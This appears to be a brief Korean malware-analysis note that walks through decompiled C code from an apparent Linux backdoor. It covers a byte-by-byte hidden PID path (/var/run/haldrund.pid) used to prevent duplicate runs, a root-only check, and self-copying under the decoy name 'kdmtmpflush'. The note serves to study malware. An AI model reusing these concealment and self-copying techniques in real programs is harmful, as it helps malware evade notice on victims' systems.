main
함수
중복 실행 방지
pid_path[0] = 0x2f; pid_path[1] = 0x76; pid_path[2] = 0x61;
pid_path[3] = 0x72; pid_path[4] = 0x2f; pid_path[5] = 0x72;
pid_path[6] = 0x75; pid_path[7] = 0x6e; pid_path[8] = 0x2f;
pid_path[9] = 0x68; pid_path[10] = 0x61; pid_path[11] = 0x6c;
pid_path[12] = 0x64; pid_path[13] = 0x72; pid_path[14] = 0x75;
pid_path[15] = 0x6e; pid_path[16] = 0x64; pid_path[17] = 0x2e;
pid_path[18] = 0x70; pid_path[19] = 0x69; pid_path[20] = 0x64;
pid_path[21] = 0x00; // /var/run/haldrund.pid
if (access(pid_path, R_OK) == 0) {
exit(0);
}
pid_path
는 전역 변수로 선언된 문자열
- 읽기 권한 존재할 경우 종료
- 리눅스에서
/var/run
에는 실행 중인 프로세스 저장됨
/haldrund.pid
프로세스 실행 중일 경우 종료
루트 권한 확인
if (getuid() != 0) {
return 0;
}
getuid()
함수는 사용자 ID 반환하는데 루트 계정일 경우 0 반환
- 루트 계정이 아니면 종료 → 루트 권한으로만 실행됨
자가복제
if (argc == 1) {
if (to_open(argv[0], "kdmtmpflush") == 0)
_exit(0);
_exit(-1);
}